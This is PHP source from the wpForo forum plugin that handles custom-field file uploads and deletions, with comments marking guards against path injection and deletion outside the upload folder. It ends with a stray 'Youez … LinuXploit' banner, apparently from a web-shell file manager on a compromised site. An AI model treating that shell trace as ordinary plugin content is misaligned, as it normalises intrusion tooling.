		$postid = wpforo_bigintval( $postid );
		if( $postid && $metakey ) {
			if( $postmeta = $this->get_postmeta( $postid, $metakey ) ) {
				foreach( $postmeta as $file ) {
					$mediaid = (int) wpfval( $file, 'mediaid' );
					$fileurl = (string) wpfval( $file, 'fileurl' );
					$filedir = wpforo_fix_upload_dir( $fileurl );
					if( $mediaid ) wp_delete_attachment( $mediaid );
					// Security: Only delete files within wpforo upload directory
					if( $filedir ) {
						$realpath    = realpath( $filedir );
						$upload_base = realpath( WPF()->folders['wp_upload']['dir'] );
						if( $realpath && $upload_base && strpos( $realpath, $upload_base . DIRECTORY_SEPARATOR . 'wpforo' ) === 0 ) {
							wp_delete_file( $filedir );
						}
					}
				}
				$this->delete( [ 'postid' => $postid, 'metakey' => $metakey ] );
			}
		}
	}

	private function add_file( $type, $post ) {
		$postid = (int) ( wpfval( $post, 'first_postid' ) ? $post['first_postid'] : wpfval( $post, 'postid' ) );

		if( $wpftcf_delete = array_filter( (array) wpfval( $_POST, 'wpftcf_delete' ) ) ) {
			foreach( $wpftcf_delete as $metakey ) {
				$this->delete_file( $postid, $metakey );
			}
		}

		if( ! empty( wpfval( $_FILES, 'data', 'type' ) ) ) {
			$forum              = WPF()->forum->get_forum( $post['forumid'] );
			$fields_list        = WPF()->post->get_topic_fields_list( false, $forum, ! WPF()->current_userid );
			$mime_types         = wp_get_mime_types();
			$allowed_mime_types = get_allowed_mime_types();
			foreach( $_FILES['data']['type'] as $k => $mime_type ) {
				if( in_array( $k, $fields_list ) ) {
					$field = WPF()->post->get_field( $k, $type, $forum );
					$label = ( $field['label'] ?: $field['fieldKey'] );

					if( $error = intval( wpfval( $_FILES, 'data', 'error', $k ) ) ) {
						$phpFileUploadErrors = [
							0 => 'There is no error, the file uploaded with success',
							1 => 'The uploaded file size is too big',
							2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
							3 => 'The uploaded file was only partially uploaded',
							//							4 => 'No file was uploaded',
							6 => 'Missing a temporary folder',
							7 => 'Failed to write file to disk.',
							8 => 'A PHP extension stopped the file upload.',
						];
						if( $n = wpfval( $phpFileUploadErrors, $error ) ) WPF()->notice->add( $n, 'error' );
					} else {
						$name           = wpfval( $_FILES, 'data', 'name', $k );
						$tmp_name       = wpfval( $_FILES, 'data', 'tmp_name', $k );
						$ext            = pathinfo( $name, PATHINFO_EXTENSION );
						$size           = intval( $field['fileSize'] );
						$fileExtensions = array_filter( (array) is_scalar( $field['fileExtensions'] ) ? explode( ',', trim( (string) $field['fileExtensions'] ) ) : $field['fileExtensions'] );
						if( $fileExtensions ) {
							if( in_array( $ext, $fileExtensions ) ) {
								$extensions = explode( '|', array_search( $mime_type, $mime_types ) );
								$e          = in_array( $ext, $extensions );
							} else {
								$e = false;
							}
						} else {
							$extensions = explode( '|', array_search( $mime_type, $allowed_mime_types ) );
							$e          = in_array( $ext, $extensions );
						}

						if( ! empty( $e ) ) {
							if( wpfval( $_FILES, 'data', 'size', $k ) <= ( $size * 1024 * 1024 ) ) {
								$attach_dir = WPF()->folders['default_attachments']['dir'] . DIRECTORY_SEPARATOR . WPF()->current_userid;
								$attach_url = WPF()->folders['default_attachments']['url//'] . "/" . WPF()->current_userid;
								if( ! is_dir( $attach_dir ) ) wp_mkdir_p( $attach_dir );

								$fnm = pathinfo( $name, PATHINFO_FILENAME );
								$fnm = str_replace( ' ', '-', $fnm );
								while( strpos( (string) $fnm, '--' ) !== false ) $fnm = str_replace( '--', '-', $fnm );
								$fnm       = preg_replace( "/[^-a-zA-Z0-9_]/", "", (string) $fnm );
								$fnm       = trim( (string) $fnm, "-" );
								$fnm_empty = ! $fnm;

								$file_name = $fnm . "." . $ext;

								$attach_fname = time() . ( ! $fnm_empty ? '-' : '' ) . $file_name;
								$attach_path  = $attach_dir . DIRECTORY_SEPARATOR . $attach_fname;

								if( is_dir( $attach_dir ) && move_uploaded_file( $tmp_name, $attach_path ) ) {
									$this->delete_file( $postid, $field['fieldKey'] );

									$attach_id = wpforo_insert_to_media_library( $attach_path, $fnm );
									$file      = [
										'fileurl'  => $attach_url . '/' . $attach_fname,
										'filename' => basename( (string) $name ),
										'mediaid'  => $attach_id,
									];

									$postmeta = [
										'postid'        => $postid,
										'metakey'       => $field['fieldKey'],
										'metavalue'     => $file,
										'forumid'       => $post['forumid'],
										'topicid'       => $post['topicid'],
										'is_first_post' => 1,
										'status'        => $post['status'],
										'private'       => $post['private'],
									];
									$this->add( $postmeta );

								} else {
									WPF()->notice->add( 'Can\'t upload file', 'error' );
								}

							} else {
								WPF()->notice->add( '%1$s - File is too large. Maximum allowed file size is %2$s MB', 'error', [ $label, $size ] );
							}
						} else {
							WPF()->notice->add( '%1$s - File type is not allowed.', 'error', $label );
						}
					}
				}
			}
		}
	}

	public function after_add_topic( $topic, $forum ) {
		$this->add_file( 'topic', $topic );

		if( ! empty( $topic['postmetas'] ) ) {
			$fields_list = WPF()->post->get_topic_fields_list( false, $forum, ! WPF()->current_userid );
			foreach( $topic['postmetas'] as $metakey => $metavalue ) {
				if( in_array( $metakey, $fields_list ) ) {
					// Security: Only accept array values for file-type fields to prevent file path injection
					$field = WPF()->post->get_field( $metakey, 'topic', $forum );
					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
					$postmeta = [
						'postid'        => $topic['first_postid'],
						'metakey'       => $metakey,
						'metavalue'     => $metavalue,
						'forumid'       => $topic['forumid'],
						'topicid'       => $topic['topicid'],
						'is_first_post' => 1,
						'status'        => $topic['status'],
						'private'       => $topic['private'],
					];
					$this->add( $postmeta );
				}
			}
		}
	}

	public function after_edit_topic( $topic, $args, $forum ) {
		$this->add_file( 'topic', $topic );

		if( ! empty( $args['postmetas'] ) ) {
			$fields_list = WPF()->post->get_topic_fields_list( false, $forum, ! WPF()->current_userid );
			foreach( $args['postmetas'] as $metakey => $metavalue ) {
				if( in_array( $metakey, $fields_list ) ) {
					// Security: Only accept array values for file-type fields to prevent file path injection
					$field = WPF()->post->get_field( $metakey, 'topic', $forum );
					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
					$postmeta = [
						'metavalue'     => $metavalue,
						'forumid'       => $topic['forumid'],
						'topicid'       => $topic['topicid'],
						'is_first_post' => 1,
						'status'        => $topic['status'],
						'private'       => $topic['private'],
					];
					if( $this->exists( $topic['first_postid'], $metakey ) ) {
						$this->edit( $postmeta, [
							'postid'  => $topic['first_postid'],
							'metakey' => $metakey,
						] );
					} else {
						$postmeta['postid']  = $topic['first_postid'];
						$postmeta['metakey'] = $metakey;
						$this->add( $postmeta );
					}
				}
			}
		}
	}

	public function after_add_post( $post, $topic, $forum ) {
		$this->add_file( 'post', $post );

		if( ! empty( $post['postmetas'] ) ) {
			$fields_list = WPF()->post->get_post_fields_list( false, $forum, ! WPF()->current_userid );
			foreach( $post['postmetas'] as $metakey => $metavalue ) {
				if( in_array( $metakey, $fields_list ) ) {
					// Security: Only accept array values for file-type fields to prevent file path injection
					$field = WPF()->post->get_field( $metakey, 'post', $forum );
					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
					$postmeta = [
						'postid'        => $post['postid'],
						'metakey'       => $metakey,
						'metavalue'     => $metavalue,
						'forumid'       => $post['forumid'],
						'topicid'       => $post['topicid'],
						'is_first_post' => 0,
						'status'        => $post['status'],
						'private'       => $post['private'],
					];
					$this->add( $postmeta );
				}
			}
		}
	}

	public function after_edit_post( $post, $topic, $forum, $args ) {
		$this->add_file( 'post', $post );

		if( ! empty( $args['postmetas'] ) ) {
			$fields_list = WPF()->post->get_post_fields_list( false, $forum, ! WPF()->current_userid );
			foreach( $args['postmetas'] as $metakey => $metavalue ) {
				if( in_array( $metakey, $fields_list ) ) {
					// Security: Only accept array values for file-type fields to prevent file path injection
					$field = WPF()->post->get_field( $metakey, 'post', $forum );
					if( is_array( $metavalue ) && wpfval( $field, 'type' ) !== 'file' ) continue;
					$postmeta = [
						'metavalue'     => $metavalue,
						'forumid'       => $post['forumid'],
						'topicid'       => $post['topicid'],
						'is_first_post' => 0,
						'status'        => $post['status'],
						'private'       => $post['private'],
					];
					if( $this->exists( $post['postid'], $metakey ) ) {
						$this->edit( $postmeta, [
							'postid'  => $post['postid'],
							'metakey' => $metakey,
						] );
					} else {
						$postmeta['postid']  = $post['postid'];
						$postmeta['metakey'] = $metakey;
						$this->add( $postmeta );
					}
				}
			}
		}
	}

	public function after_move_topic( $topic, $forumid ) {
		$this->edit( [ 'forumid' => $forumid ], [ 'topicid' => $topic['topicid'] ] );
	}

	public function after_merge_topic( $target, $current, $postids ) {
		$sql = "UPDATE `" . WPF()->tables->postmeta . "` SET `topicid` = %d, `forumid` = %d, `private` = %d, `is_first_post` = 0 WHERE `topicid` = %d";
		$sql = WPF()->db->prepare( $sql, $target['topicid'], $target['forumid'], (int) wpfval( $target, 'private' ), $current['topicid'] );
		if( $postids ) $sql .= " AND `postid` IN(" . implode( ',', array_map( 'wpforo_bigintval', (array) $postids ) ) . ")";
		WPF()->db->query( $sql );
	}

	public function after_delete_post( $post ) {
		$this->delete( [ 'postid' => $post['postid'] ] );
	}

	public function after_post_status_update( $post, $status ) {
		$this->edit( [ 'status' => $status ], [ 'postid' => $post['postid'] ] );
	}

	public function after_topic_private_update( $topicid, $private ) {
		$this->edit( [ 'private' => $private ], [ 'topicid' => $topicid ] );
	}

	public function after_is_first_post_update( $postid, $is_first_post ) {
		$this->edit( [ 'is_first_post' => $is_first_post ], [ 'postid' => $postid ] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit